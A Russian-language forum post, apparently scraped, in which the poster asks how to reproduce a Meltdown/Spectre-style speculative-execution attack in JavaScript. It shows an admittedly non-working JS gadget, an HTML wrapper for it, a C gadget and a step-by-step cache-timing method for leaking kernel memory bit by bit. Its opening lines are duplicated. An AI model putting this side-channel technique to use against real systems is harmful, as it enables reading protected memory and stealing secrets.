Всем привет.
У меня на си получилось воспроизвести, но на си некруто.
Кто-то говорит, что можно на JS сделать, блин не в какую не получается, кто-нить копал ?
Вот есть код:
Заюзать можно примерно так, создав htm-страничку:
Но localJunk всегда 0-ль, какой-то развод.
Вообще алгоритм такой:
Если время доступа к X[0] близко к типичному времени доступа к закэшированной памяти, то в спекулятивном коде было обращение к X[0], и значит, kernelByte & 1 == 0. Если время доступа к X[CACHE_LINE_SIZE] близко к типичному времени доступа к закэшированной памяти, то в спекулятивном коде было обращение к X[CACHE_LINE_SIZE], и значит, kernelByte & 1 == 1.
Таким образом, мы смогли прочитать один бит защищённой памяти. Далее, один за одним можно считывать информацию. На текущий момент скорости считывания составляют около 1-2 килобайт в секунду.
На убунте получилось этим сплоитом воспроизвести уязвимость:
У меня на си получилось воспроизвести, но на си некруто.
Кто-то говорит, что можно на JS сделать, блин не в какую не получается, кто-нить копал ?
Вот есть код:
JavaScript:
var TABLE1_STRIDE = 1;
var TABLE1_BYTES = 3;
var probeTable = ['alpha', 'beta', 'corky'];
var simpleByteArray = [0x00, 0x01, 0x02];
var localJunk;
var index = 0;
if (index < simpleByteArray.length) {
index = simpleByteArray[index | 0];
index = (((index * TABLE1_STRIDE) | 0) & (TABLE1_BYTES - 1)) | 0;
localJunk &= probeTable[index | 0] | 0;
};
alert( 'Result = ' + localJunk );
Заюзать можно примерно так, создав htm-страничку:
HTML:
<!DOCTYPE HTML>
<html>
<head>
<!-- Тег meta для указания кодировки -->
<meta charset="utf-8">
</head>
<body>
<p>Начало документа...</p>
<script>
var TABLE1_STRIDE = 1;
var TABLE1_BYTES = 3;
var probeTable = ['alpha', 'beta', 'corky'];
var simpleByteArray = [0x00, 0x01, 0x02];
var localJunk;
var index = 0;
if (index < simpleByteArray.length) {
index = simpleByteArray[index | 0];
index = (((index * TABLE1_STRIDE) | 0) & (TABLE1_BYTES - 1)) | 0;
localJunk &= probeTable[index | 0] | 0;
};
alert( 'Result = ' + localJunk );
</script>
<p>...Конец документа</p>
</body>
</html>
Вообще алгоритм такой:
- Мы выделяем участок памяти X, по длине больший, чем несколько линий кэша.
- Мы сбрасываем кэш так, чтобы память X не была в кэше. (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки.)
- Мы определяем адрес в ядре, который мы хотим прочитать, и записываем его в указатель p.
- Мы пишем код вида:
C:
if (data == 0){ byte kernelByte = *p; byte dummy = X[(kernelByte & 1) * CACHE_LINE_SIZE]; }
- В data мы кладём ненулевое значение, и вытесняем data из кэша.
- Мы выполняем указанный код, после чего измеряем время доступа к X[0] и X[CACHE_LINE_SIZE].
Если время доступа к X[0] близко к типичному времени доступа к закэшированной памяти, то в спекулятивном коде было обращение к X[0], и значит, kernelByte & 1 == 0. Если время доступа к X[CACHE_LINE_SIZE] близко к типичному времени доступа к закэшированной памяти, то в спекулятивном коде было обращение к X[CACHE_LINE_SIZE], и значит, kernelByte & 1 == 1.
Таким образом, мы смогли прочитать один бит защищённой памяти. Далее, один за одним можно считывать информацию. На текущий момент скорости считывания составляют около 1-2 килобайт в секунду.
На убунте получилось этим сплоитом воспроизвести уязвимость:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки